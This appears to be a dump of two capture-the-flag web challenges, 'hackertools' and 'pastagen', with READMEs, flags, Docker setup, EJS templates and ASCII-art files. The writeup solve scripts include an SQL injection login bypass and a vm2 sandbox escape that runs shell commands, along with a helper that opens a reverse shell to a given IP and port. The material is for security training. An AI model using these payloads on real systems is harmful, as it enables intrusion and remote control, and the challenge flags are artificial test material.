7 | ## Overview 8 | 9 | We found a public facing toolkit by the notorious hacking group `PWNK1DD135`. The group installs ransomwares on government/company systems; over 2M$ in damages already. Can you help us take them down? 10 | 11 | ## Challenges 12 | 13 | Given the scale of the repo, challenges were split off into ./challenges. The challenges should be prefaced by the previous overview and a link to the website. 14 | 15 | ## Resources 16 | 17 | - Enumeration: https://github.com/OJ/gobuster 18 | - Login: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection 19 | - Foothold: https://pwnisher.gitlab.io/nodejs/sandbox/2019/02/21/sandboxing-nodejs-is-hard.html 20 | - PrivEsc: https://alexandre-lavoie.github.io/2021/08/22/file-move-privesc.html 21 | 22 | # Setup 23 | 24 | Requirements: 25 | 26 | ``` 27 | docker 28 | docker-compose 29 | ``` 30 | 31 | Start: 32 | 33 | ``` 34 | Development: docker-compose -f docker-compose.dev.yml up 35 | Production: docker-compose up 36 | ``` 37 | 38 | (The challenge will be locally hosted at http://localhost:1337/). -------------------------------------------------------------------------------- /challenges/web/hackertools/challenges/1/FLAG: -------------------------------------------------------------------------------- 1 | FLAG-Y0U_C4N_3NUM3R4T3 -------------------------------------------------------------------------------- /challenges/web/hackertools/challenges/1/README.md: -------------------------------------------------------------------------------- 1 | # HackerTools - Enumeration 2 | 3 | The landing page has no interesting links or information. There might be a hidden resource? Try seeing if you can find anything with `directory-list-2.3-medium.txt`. 4 | 5 | Note: This is a bruteforce challenge, therefore it is allowed to use enumeration tools. You should be able to find the resource fairly quickly. 6 | -------------------------------------------------------------------------------- /challenges/web/hackertools/challenges/2/FLAG: -------------------------------------------------------------------------------- 1 | FLAG-TYP1C4L_SQL_1NJ3CT10N -------------------------------------------------------------------------------- /challenges/web/hackertools/challenges/2/README.md: -------------------------------------------------------------------------------- 1 | # HackerTools - Login 2 | 3 | The login page seems to be pretty basic. Maybe there is an SQL injection? 4 | -------------------------------------------------------------------------------- /challenges/web/hackertools/challenges/3/FLAG: -------------------------------------------------------------------------------- 1 | FLAG-VM1NG_N0D3_15_H4RD -------------------------------------------------------------------------------- /challenges/web/hackertools/challenges/3/README.md: -------------------------------------------------------------------------------- 1 | # HackerTools - Foothold 2 | 3 | There are a few tools on the website. Maybe there is one that allows remote code execution? 4 | 5 | Note: The flag can be found in `/flags`. 6 | -------------------------------------------------------------------------------- /challenges/web/hackertools/challenges/4/FLAG: -------------------------------------------------------------------------------- 1 | FLAG-T00_M4NY_B1N4R135 -------------------------------------------------------------------------------- /challenges/web/hackertools/challenges/4/README.md: -------------------------------------------------------------------------------- 1 | # HackerTools - PrivEsc 2 | 3 | There are weird permissions on the system. Can you privilege escalation to `super_k1dd13`? 4 | 5 | Note: The flag can be found in `/flags`. 6 | -------------------------------------------------------------------------------- /challenges/web/hackertools/docker-compose.dev.yml: -------------------------------------------------------------------------------- 1 | version: "3" 2 | 3 | services: 4 | hackertools: 5 | container_name: hackertools 6 | ports: 7 | - "1337:1337" 8 | environment: 9 | PORT: 1337 10 | ENVIRONMENT: "development" 11 | build: 12 | context: . 13 | dockerfile: Dockerfile 14 | entrypoint: ["npm", "run", "dev"] 15 | volumes: 16 | - ./web/src:/app/src 17 | - ./web/views:/app/views 18 | - ./web/public:/app/public 19 | - ./web/parials:/app/parials 20 | -------------------------------------------------------------------------------- /challenges/web/hackertools/docker-compose.yml: -------------------------------------------------------------------------------- 1 | version: "3" 2 | 3 | services: 4 | hackertools: 5 | container_name: hackertools 6 | ports: 7 | - "1337:1337" 8 | environment: 9 | PORT: 1337 10 | ENVIRONMENT: "production" 11 | build: 12 | context: . 13 | dockerfile: Dockerfile 14 | entrypoint: ["npm", "start"] 15 | restart: always 16 | healthcheck: 17 | test: curl -m 5 -f http://localhost:1337/healthcheck || kill 1 18 | interval: 30s 19 | timeout: 3s 20 | -------------------------------------------------------------------------------- /challenges/web/hackertools/scripts/lua.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | /bin/echo "Lua 5.2.4 Copyright (C) 1994-2015 PWNK1DD135" 4 | /bin/echo "> " 5 | -------------------------------------------------------------------------------- /challenges/web/hackertools/scripts/php.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | /bin/echo "PHP 7.4.20 (cli) ( ZTS )" 4 | /bin/echo "Copyright (c) PWNK1DD135" 5 | -------------------------------------------------------------------------------- /challenges/web/hackertools/scripts/ruby.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | /bin/echo "ruby 2.7.3p183 (2021-04-05) [PWNK1DD135]" 4 | /usr/bin/python3 -q "$@" 5 | -------------------------------------------------------------------------------- /challenges/web/hackertools/web/package.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "hackertools", 3 | "version": "1.0.0", 4 | "description": "", 5 | "main": "index.js", 6 | "scripts": { 7 | "tsci": "tsc --init", 8 | "dev": "ts-node-dev ./src/index.ts", 9 | "start": "ts-node ./src/index.ts" 10 | }, 11 | "author": "", 12 | "license": "MIT", 13 | "devDependencies": { 14 | "@types/express": "^4.17.13", 15 | "@types/sqlite3": "^3.1.7", 16 | "ts-node-dev": "^1.1.8", 17 | "typescript": "^4.4.2" 18 | }, 19 | "dependencies": { 20 | "cookie-parser": "^1.4.5", 21 | "ejs": "^3.1.6", 22 | "express": "^4.17.1", 23 | "sqlite3": "5.0.2", 24 | "vm2": "^3.9.3" 25 | } 26 | } 27 | -------------------------------------------------------------------------------- /challenges/web/hackertools/web/partials/appnav.ejs: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /challenges/web/hackertools/web/partials/bootstrap.ejs: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | -------------------------------------------------------------------------------- /challenges/web/hackertools/web/partials/head.ejs: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /challenges/web/hackertools/web/public/favicon.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/UnitedCTF/UnitedCTF-2021/568fa6610df8374f744b6046269fae693d85ec74/challenges/web/hackertools/web/public/favicon.ico -------------------------------------------------------------------------------- /challenges/web/hackertools/web/public/k1dd13.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/UnitedCTF/UnitedCTF-2021/568fa6610df8374f744b6046269fae693d85ec74/challenges/web/hackertools/web/public/k1dd13.gif -------------------------------------------------------------------------------- /challenges/web/hackertools/web/views/app.ejs: -------------------------------------------------------------------------------- 1 | 2 | 3 | HackerTools | App 4 | <%- include('../partials/head.ejs') %> 5 | <%- include('../partials/bootstrap.ejs') %> 6 | 17 | 18 | 19 | <%- include('../partials/appnav.ejs') %> 20 |
21 |

Welcome Back K1DD13!

22 |

<%= flag %>

23 |

24 |
25 | K1DD13 26 |
27 | 28 | 29 | -------------------------------------------------------------------------------- /challenges/web/hackertools/web/views/index.ejs: -------------------------------------------------------------------------------- 1 | 2 | 3 | HackerTools 4 | <%- include('../partials/head.ejs') %> 5 | <%- include('../partials/bootstrap.ejs') %> 6 | 18 | 19 | 20 |
21 |

🔒

22 |
23 |

HackerTools

24 |
25 |

A hacking toolkit by PWNK1DD135.

26 |
27 | 28 | 29 | -------------------------------------------------------------------------------- /challenges/web/hackertools/web/views/login.ejs: -------------------------------------------------------------------------------- 1 | 2 | 3 | HackerTools | Login 4 | <%- include('../partials/head.ejs') %> 5 | <%- include('../partials/bootstrap.ejs') %> 6 | 14 | 15 | 16 |
17 | <% if(locals.alert) { %> 18 | 21 | <% } %> 22 | 23 |
24 |
25 |
HackerTools
26 |
27 | 28 |
29 | 30 |
31 | 32 |
33 |
34 |
35 | 36 | 37 | -------------------------------------------------------------------------------- /challenges/web/hackertools/web/views/tool.ejs: -------------------------------------------------------------------------------- 1 | 2 | 3 | HackerTools | <%= name %> 4 | <%- include('../partials/head.ejs') %> 5 | <%- include('../partials/bootstrap.ejs') %> 6 | 20 | 25 | 26 | 27 | <%- include('../partials/appnav.ejs') %> 28 |
29 |

<%= name %>

30 |

<%= description %>

31 |
32 |
33 | 34 |
35 | 36 |
37 | 38 |
39 | 40 | 41 | -------------------------------------------------------------------------------- /challenges/web/hackertools/web/views/tools.ejs: -------------------------------------------------------------------------------- 1 | 2 | 3 | HackerTools | Tools 4 | <%- include('../partials/head.ejs') %> 5 | <%- include('../partials/bootstrap.ejs') %> 6 | 11 | 12 | 13 | <%- include('../partials/appnav.ejs') %> 14 |
15 | <% tools.forEach(tool => { %> 16 |
17 |
18 |
19 | <%= tool.name %> 20 |

21 |

<%= tool.description %>

22 | View 23 |
24 |
25 |
26 |
27 | <% }) %> 28 | 29 | 30 | -------------------------------------------------------------------------------- /challenges/web/hackertools/writeups/2/solve.py: -------------------------------------------------------------------------------- 1 | import requests 2 | import re 3 | 4 | def load_env(): 5 | env = {} 6 | 7 | with open('./.env', 'r') as h: 8 | for line in h.readlines(): 9 | var, val = line.strip().split('=') 10 | 11 | env[var] = val 12 | 13 | return env 14 | 15 | ENV = load_env() 16 | URL = ENV['URL'] 17 | 18 | res = requests.post(URL, data={ 19 | "username": "\" OR 1=1))--", 20 | "password": "" 21 | }) 22 | 23 | print(re.findall(r"CTF{.*?}", res.text)[0]) 24 | -------------------------------------------------------------------------------- /challenges/web/hackertools/writeups/3/solve.py: -------------------------------------------------------------------------------- 1 | import requests 2 | 3 | def load_env(): 4 | env = {} 5 | 6 | with open('./.env', 'r') as h: 7 | for line in h.readlines(): 8 | var, val = line.strip().split('=') 9 | 10 | env[var] = val 11 | 12 | return env 13 | 14 | ENV = load_env() 15 | URL = ENV['URL'] 16 | AUTH_TOKEN = ENV['AUTH_TOKEN'] 17 | 18 | def bash_exec(payload: str) -> str: 19 | res = requests.post(URL, data={ 20 | "data": f"this.constructor.constructor('return this.process')().mainModule.require('child_process').execSync('{payload}').toString()" 21 | }, cookies={ 22 | 'AUTH_TOKEN': AUTH_TOKEN 23 | }) 24 | 25 | return res.text 26 | 27 | def reverse_shell(ip: str, port: int): 28 | function = "function () { this.pipe(sh.stdin); sh.stdout.pipe(this); sh.stderr.pipe(this); }" 29 | print(bash_exec(f"node -e \\'sh = child_process.spawn(\"/bin/sh\"); net.connect({port}, \"{ip}\", {function});\\'")) 30 | 31 | def interactive(): 32 | while (payload := input('net # ')).lower() != 'exit': 33 | print(bash_exec(payload)) 34 | 35 | if __name__ == '__main__': 36 | print(bash_exec("cat /home/k1dd13/FLAG")) 37 | -------------------------------------------------------------------------------- /challenges/web/pastagen/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM php:7.4-apache 2 | 3 | RUN rm /var/log/apache2/access.log 4 | 5 | RUN useradd flag -c "FLAG-WHERE_DID_YOU_GET_THAT_PASTA" 6 | RUN echo -n "FLAG-LFI_TO_RCE_IN_A_FEW_STEPS" > /flag_962ee5b266379bf62dbd22cb7cfa6adc11ffbd85e37c6ac97efea767f81d6a49.txt 7 | 8 | COPY --chown=www-data:www-data ./src /var/www/html/ 9 | 10 | # Clear logs every 5 mins 11 | HEALTHCHECK --interval=300s --start-period=5s --retries=3 \ 12 | CMD [ "cp", "/dev/null", "/var/log/apache2/access.log" ] 13 | 14 | USER www-data 15 | -------------------------------------------------------------------------------- /challenges/web/pastagen/README.md: -------------------------------------------------------------------------------- 1 | # PHP LFI + RCE 2 | > Web 3 | Author: @KptCheeseWhiz 4 | ## Challenge 5 | I found this cool website filled with copypastas, but something is telling me that it is not really secure. 6 | 7 | ## Resources 8 | - https://book.hacktricks.xyz/pentesting-web/file-inclusion 9 | 10 | ## Setup 11 | 12 | ### Requirements 13 | - docker 14 | - docker-compose 15 | 16 | ### How to run 17 | - Execute the command `docker-compose up` -------------------------------------------------------------------------------- /challenges/web/pastagen/docker-compose.yml: -------------------------------------------------------------------------------- 1 | version: "3.0" 2 | 3 | services: 4 | pastagen_server: 5 | build: . 6 | restart: unless-stopped 7 | ports: 8 | - "5000:80" 9 | -------------------------------------------------------------------------------- /challenges/web/pastagen/src/pastas/chungus.txt: -------------------------------------------------------------------------------- 1 | ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣧⠀⠀⠀⠀⠀⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ 2 | ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣿⣧⠀⠀⠀⢰⡿⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ 3 | ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⡟⡆⠀⠀⣿⡇⢻⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ 4 | ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⠀⣿⠀⢰⣿⡇⢸⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ 5 | ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⡄⢸⠀⢸⣿⡇⢸⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ 6 | ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠘⣿⡇⢸⡄⠸⣿⡇⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ 7 | ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢿⣿⢸⡅⠀⣿⢠⡏⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ 8 | ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⣿⣿⣥⣾⣿⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ 9 | ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⣿⣿⣿⣿⣿⣿⣆⠀⠀⠀⠀⠀⠀⠀⠀⠀ 10 | ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⡿⡿⣿⣿⡿⡅⠀⠀⠀⠀⠀⠀⠀⠀ 11 | ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⠉⠀⠉⡙⢔⠛⣟⢋⠦⢵⠀⠀⠀⠀⠀⠀⠀ 12 | ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣾⣄⠀⠀⠁⣿⣯⡥⠃⠀⢳⠀⠀⠀⠀⠀⠀⠀ 13 | ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣴⣿⡇⠀⠀⠀⠐⠠⠊⢀⠀⢸⠀⠀⠀⠀⠀⠀⠀ 14 | ⠀⠀⠀⠀⠀⠀⠀⢀⣴⣿⣿⣿⡿⠀⠀⠀⠀⠀⠈⠁⠀⠀⠘⣿⣄⠀⠀⠀⠀⠀ 15 | ⠀⠀⠀⠀⠀⣠⣿⣿⣿⣿⣿⡟⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⣿⣷⡀⠀⠀⠀ 16 | ⠀⠀⠀⠀⣾⣿⣿⣿⣿⣿⠋⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⣿⣿⣧⠀⠀ 17 | ⠀⠀⠀⡜⣭⠤⢍⣿⡟⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⢛⢭⣗⠀ 18 | ⠀⠀⠀⠁⠈⠀⠀⣀⠝⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠄⠠⠀⠀⠰⡅ 19 | ⠀⠀⠀⢀⠀⠀⡀⠡⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠁⠔⠠⡕⠀ 20 | ⠀⠀⠀⠀⣿⣷⣶⠒⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢰⠀⠀⠀⠀ 21 | ⠀⠀⠀⠀⠘⣿⣿⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠰⠀⠀⠀⠀⠀ 22 | ⠀⠀⠀⠀⠀⠈⢿⣿⣦⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢠⠊⠉⢆⠀⠀⠀⠀ 23 | ⠀⢀⠤⠀⠀⢤⣤⣽⣿⣿⣦⣀⢀⡠⢤⡤⠄⠀⠒⠀⠁⠀⠀⠀⢘⠔⠀⠀⠀⠀ 24 | ⠀⠀⠀⡐⠈⠁⠈⠛⣛⠿⠟⠑⠈⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ 25 | ⠀⠀⠉⠑⠒⠀⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ -------------------------------------------------------------------------------- /challenges/web/pastagen/src/pastas/dog.txt: -------------------------------------------------------------------------------- 1 | ░░░░░░░░░░░░░░░░░░░░ 2 | ░▄▀▄▀▀▀▀▄▀▄░░░░░░░░░ 3 | ░█░░░░░░░░▀▄░░░░░░▄░ 4 | █░░▀░░▀░░░░░▀▄▄░░█░█ 5 | █░▄░█▀░▄░░░░░░░▀▀░░█ 6 | █░░▀▀▀▀░░░░░░░░░░░░█ 7 | █░░░░░░░░░░░░░░░░░░█ 8 | █░░░░░░░░░░░░░░░░░░█ 9 | ░█░░▄▄░░▄▄▄▄░░▄▄░░█░ 10 | ░█░▄▀█░▄▀░░█░▄▀█░▄▀░ 11 | ░░▀░░░▀░░░░░▀░░░▀░░░ -------------------------------------------------------------------------------- /challenges/web/pastagen/src/pastas/doge.txt: -------------------------------------------------------------------------------- 1 | ░░░░░░░░░▄░░░░░░░░░░░░░░▄ 2 | ░░░░░░░░▌▒█░░░░░░░░░░░▄▀▒▌ 3 | ░░░░░░░░▌▒▒█░░░░░░░░▄▀▒▒▒▐ 4 | ░░░░░░░▐▄▀▒▒▀▀▀▀▄▄▄▀▒▒▒▒▒▐ 5 | ░░░░░▄▄▀▒░▒▒▒▒▒▒▒▒▒█▒▒▄█▒▐ 6 | ░░░▄▀▒▒▒░░░▒▒▒░░░▒▒▒▀██▀▒▌ 7 | ░░▐▒▒▒▄▄▒▒▒▒░░░▒▒▒▒▒▒▒▀▄▒▒▌ 8 | ░░▌░░▌█▀▒▒▒▒▒▄▀█▄▒▒▒▒▒▒▒█▒▐ 9 | ░▐░░░▒▒▒▒▒▒▒▒▌██▀▒▒░░░▒▒▒▀▄▌ 10 | ░▌░▒▄██▄▒▒▒▒▒▒▒▒▒░░░░░░▒▒▒▒▌ 11 | ▌▒▀▐▄█▄█▌▄░▀▒▒░░░░░░░░░░▒▒▒▐ 12 | ▐▒▒▐▀▐▀▒░▄▄▒▄▒▒▒▒▒▒░▒░▒░▒▒▒▒▌ 13 | ▐▒▒▒▀▀▄▄▒▒▒▄▒▒▒▒▒▒▒▒░▒░▒░▒▒▐ 14 | ░▌▒▒▒▒▒▒▀▀▀▒▒▒▒▒▒░▒░▒░▒░▒▒▒▌ 15 | ░▐▒▒▒▒▒▒▒▒▒▒▒▒▒▒░▒░▒░▒▒▄▒▒▐ 16 | ░░▀▄▒▒▒▒▒▒▒▒▒▒▒░▒░▒░▒▄▒▒▒▒▌ 17 | ░░░░▀▄▒▒▒▒▒▒▒▒▒▒▄▄▄▀▒▒▒▒▄▀ 18 | ░░░░░░▀▄▄▄▄▄▄▀▀▀▒▒▒▒▒▄▄▀ 19 | ░░░░░░░░░▒▒▒▒▒▒▒▒▒▒▀▀ -------------------------------------------------------------------------------- /challenges/web/pastagen/src/pastas/elephant.txt: -------------------------------------------------------------------------------- 1 | ░▒░█░░░░░░░░░░░░░░░░ 2 | ░░░█░░░░░░░░░░░░░░░░ 3 | ░░█░░░░███████░░░░░░ 4 | ░██░░░██▓▓███▓██▒░░░ 5 | ██░░░█▓▓▓▓▓▓▓█▓████░ 6 | ██░░██▓▓▓(O)▓█▓█▓█░░ 7 | ███▓▓▓█▓▓▓▓▓█▓█▓▓▓▓█ 8 | ▀██▓▓█░██▓▓▓▓██▓▓▓▓▓█ 9 | ░▀██▀░░█▓▓▓▓▓▓▓▓▓▓▓▓▓█ 10 | ░░░░▒░░░█▓▓▓▓▓█▓▓▓▓▓▓█ 11 | ░░░░▒░░░█▓▓▓▓█▓█▓▓▓▓▓█ 12 | ░▒░░▒░░░█▓▓▓█▓▓▓█▓▓▓▓█ 13 | ░▒░░▒░░░█▓▓▓█░░░█▓▓▓█ 14 | ░▒░░▒░░██▓██░░░██▓▓██ -------------------------------------------------------------------------------- /challenges/web/pastagen/src/pastas/feelsbadman.txt: -------------------------------------------------------------------------------- 1 | __________████████_____██████ 2 | _________█░░░░░░░░██_██░░░░░░█ 3 | ________█░░░░░░░░░░░█░░░░░░░░░█ 4 | _______█░░░░░░░███░░░█░░░░░░░░░█ 5 | _______█░░░░███░░░███░█░░░████░█ 6 | ______█░░░██░░░░░░░░███░██░░░░██ 7 | _____█░░░░░░░░░░░░░░░░░█░░░░░░░░███ 8 | ____█░░░░░░░░░░░░░██████░░░░░████░░█ 9 | ____█░░░░░░░░░█████░░░████░░██░░██░░█ 10 | ___██░░░░░░░███░░░░░░░░░░█░░░░░░░░███ 11 | __█░░░░░░░░░░░░░░█████████░░█████████ 12 | _█░░░░░░░░░░█████_████___████_█████___█ 13 | _█░░░░░░░░░░█______█_███__█_____███_█___█ 14 | █░░░░░░░░░░░░█___████_████____██_██████ 15 | ░░░░░░░░░░░░░█████████░░░████████░░░█ 16 | ░░░░░░░░░░░░░░░░█░░░░░█░░░░░░░░░░░░█ 17 | ░░░░░░░░░░░░░░░░░░░░██░░░░█░░░░░░██ 18 | ░░░░░░░░░░░░░░░░░░██░░░░░░░███████ 19 | ░░░░░░░░░░░░░░░░██░░░░░░░░░░█░░░░░█ 20 | ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░█ 21 | ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░█ 22 | ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░█ 23 | ░░░░░░░░░░░█████████░░░░░░░░░░░░░░██ 24 | ░░░░░░░░░░█▒▒▒▒▒▒▒▒███████████████▒▒█ 25 | ░░░░░░░░░█▒▒███████▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒█ 26 | ░░░░░░░░░█▒▒▒▒▒▒▒▒▒█████████████████ 27 | ░░░░░░░░░░████████▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒█ 28 | ░░░░░░░░░░░░░░░░░░██████████████████ 29 | ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░█ 30 | ██░░░░░░░░░░░░░░░░░░░░░░░░░░░██ 31 | ▓██░░░░░░░░░░░░░░░░░░░░░░░░██ 32 | ▓▓▓███░░░░░░░░░░░░░░░░░░░░█ 33 | ▓▓▓▓▓▓███░░░░░░░░░░░░░░░██ 34 | ▓▓▓▓▓▓▓▓▓███████████████▓▓█ 35 | ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓██ 36 | ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓█ 37 | ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓█ -------------------------------------------------------------------------------- /challenges/web/pastagen/src/pastas/gnome.txt: -------------------------------------------------------------------------------- 1 | ⣿⣿⣿⣿⣿⠟⠉⠁⠄⠄⠄⠈⠙⠿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ 2 | ⣿⣿⣿⣿⠏⠄⠄⠄⠄⠄⠄⠄⠄⠄⠸⢿⣿⣿⣿⣿⣿⣿⣿⣿ 3 | ⣿⣿⣿⣏⠄⡠⡤⡤⡤⡤⡤⡤⡠⡤⡤⣸⣿⣿⣿⣿⣿⣿⣿⣿ 4 | ⣿⣿⣿⣗⢝⢮⢯⡺⣕⢡⡑⡕⡍⣘⢮⢿⣿⣿⣿⣿⣿⣿⣿⣿ 5 | ⣿⣿⣿⣿⡧⣝⢮⡪⡪⡪⡎⡎⡮⡲⣱⣻⣿⣿⣿⣿⣿⣿⣿⣿ 6 | ⣿⣿⣿⠟⠁⢸⡳⡽⣝⢝⢌⢣⢃⡯⣗⢿⣿⣿⣿⣿⣿⣿⣿⣿ 7 | ⣿⠟⠁⠄⠄⠄⠹⡽⣺⢽⢽⢵⣻⢮⢯⠟⠿⠿⢿⣿⣿⣿⣿⣿ 8 | ⡟⢀⠄⠄⠄⠄⠄⠙⠽⠽⡽⣽⣺⢽⠝⠄⠄⢰⢸⢝⠽⣙⢝⢿ 9 | ⡄⢸⢹⢸⢱⢘⠄⠄⠄⠄⠄⠈⠄⠄⠄⣀⠄⠄⣵⣧⣫⣶⣜⣾ 10 | ⣧⣬⣺⠸⡒⠬⡨⠄⠄⠄⠄⠄⠄⠄⣰⣿⣿⣿⣿⣿⣷⣽⣿⣿ 11 | ⣿⣿⣿⣷⠡⠑⠂⠄⠄⠄⠄⠄⠄⠄⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ 12 | ⣿⣿⣿⣿⣄⠠⢀⢀⢀⡀⡀⠠⢀⢲⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ 13 | ⣿⣿⣿⣿⣿⢐⢀⠂⢄⠇⠠⠈⠄⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ 14 | ⣿⣿⣿⣿⣧⠄⠠⠈⢈⡄⠄⢁⢀⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ 15 | ⣿⣿⣿⣿⣿⡀⠠⠐⣼⠇⠄⡀⠸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ 16 | ⣿⣿⣿⣿⣯⠄⠄⡀⠈⠂⣀⠄⢀⠄⠈⣿⣿⣿⣿⣿⣿⣿⣿⣿ 17 | ⣿⣿⣿⣿⣿⣶⣄⣀⠐⢀⣸⣷⣶⣶⣶⣿⣿⣿⣿⣿⣿⣿⣿⣿ -------------------------------------------------------------------------------- /challenges/web/pastagen/src/pastas/pikachu.txt: -------------------------------------------------------------------------------- 1 | ░░░░░░░░▀████▀▄▄░░░░░░░░░░░░░░▄█ 2 | ░░░░░░░░░░█▀░░░░▀▀▄▄▄▄▄░░░░▄▄▀▀█ 3 | ░░▄░░░░░░░░█░░░░░░░░░░▀▀▀▀▄░░▄▀ 4 | ░▄▀░▀▄░░░░░░▀▄░░░░░░░░░░░░░░▀▄▀ 5 | ▄▀░░░░█░░░░░█▀░░░▄█▀▄░░░░░░▄█ 6 | ▀▄░░░░░▀▄░░█░░░░░▀██▀░░░░░██▄█ 7 | ░▀▄░░░░▄▀░█░░░▄██▄░░░▄░░▄░░▀▀░█ 8 | ░░█░░▄▀░░█░░░░▀██▀░░░░▀▀░▀▀░░▄▀ 9 | ░█░░░█░░█░░░░░░▄▄░░░░░░░░░░░▄▀ -------------------------------------------------------------------------------- /challenges/web/pastagen/src/pastas/seagull.txt: -------------------------------------------------------------------------------- 1 | ░░░░░▄▀▀▀▄░░░░░░░░░░░░░░░░░ 2 | ▄███▀░◐░░░▌░░░░░░░░░░░░░░░░ 3 | ░░░░▌░░░░░▐░░░░░░░░░░░░░░░░ 4 | ░░░░▐░░░░░▐░░░░░░░░░░░░░░░░ 5 | ░░░░▌░░░░░▐▄▄░░░░░░░░░░░░░░ 6 | ░░░░▌░░░░▄▀▒▒▀▀▀▀▄░░░░░░░░░ 7 | ░░░▐░░░░▐▒▒▒▒▒▒▒▒▀▀▄░░░░░░░ 8 | ░░░▐░░░░▐▄▒▒▒▒▒▒▒▒▒▒▀▄░░░░░ 9 | ░░░░▀▄░░░░▀▄▒▒▒▒▒▒▒▒▒▒▀▄░░░ 10 | ░░░░░░▀▄▄▄▄▄█▄▄▄▄▄▄▄▄▄▄▄▀▄░ 11 | ░░░░░░░░░░░▌▌░▌▌░░░░░░░░░░░ 12 | ░░░░░░░░░░░▌▌░▌▌░░░░░░░░░░░ 13 | ░░░░░░░░░▄▄▌▌▄▌▌░░░░░░░░░░░ -------------------------------------------------------------------------------- /challenges/web/pastagen/src/pastas/shrek.txt: -------------------------------------------------------------------------------- 1 | ⢀⡴⠑⡄⠀⠀⠀⠀⠀⠀⠀⣀⣀⣤⣤⣤⣀⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ 2 | ⠸⡇⠀⠿⡀⠀⠀⠀⣀⡴⢿⣿⣿⣿⣿⣿⣿⣿⣷⣦⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀ 3 | ⠀⠀⠀⠀⠑⢄⣠⠾⠁⣀⣄⡈⠙⣿⣿⣿⣿⣿⣿⣿⣿⣆⠀⠀⠀⠀⠀⠀⠀⠀ 4 | ⠀⠀⠀⠀⢀⡀⠁⠀⠀⠈⠙⠛⠂⠈⣿⣿⣿⣿⣿⠿⡿⢿⣆⠀⠀⠀⠀⠀⠀⠀ 5 | ⠀⠀⠀⢀⡾⣁⣀⠀⠴⠂⠙⣗⡀⠀⢻⣿⣿⠭⢤⣴⣦⣤⣹⠀⠀⠀⢀⢴⣶⣆ 6 | ⠀⠀⢀⣾⣿⣿⣿⣷⣮⣽⣾⣿⣥⣴⣿⣿⡿⢂⠔⢚⡿⢿⣿⣦⣴⣾⠁⠸⣼⡿ 7 | ⠀⢀⡞⠁⠙⠻⠿⠟⠉⠀⠛⢹⣿⣿⣿⣿⣿⣌⢤⣼⣿⣾⣿⡟⠉⠀⠀⠀⠀⠀ 8 | ⠀⣾⣷⣶⠇⠀⠀⣤⣄⣀⡀⠈⠻⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡇⠀⠀⠀⠀⠀⠀ 9 | 